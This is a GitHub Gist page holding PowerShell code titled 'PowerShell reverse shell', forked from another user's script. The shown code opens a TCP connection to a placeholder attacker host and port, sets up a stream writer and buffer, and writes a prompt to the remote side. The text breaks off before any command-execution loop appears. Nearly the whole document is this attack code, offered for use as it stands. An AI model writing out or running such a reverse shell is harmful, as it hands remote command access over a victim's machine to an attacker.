Skip to content

Instantly share code, notes, and snippets.

@noperator
noperator / reverse-shell.ps1
Last active June 14, 2020 01:39 — forked from staaldraad/mini-reverse.ps1
PowerShell reverse shell
$socket = new-object System.Net.Sockets.TcpClient('<HOST>', <PORT>)
if ($socket -eq $null) {
exit 1
}
$stream = $socket.GetStream()
$writer = new-object System.IO.StreamWriter($stream)
$buffer = new-object System.Byte[] 1024
$encoding = new-object System.Text.AsciiEncoding
$writer.WriteLine("Hit Ctrl+C (not Ctrl+D!) or enter exit to close connection")
$writer.Write("> ")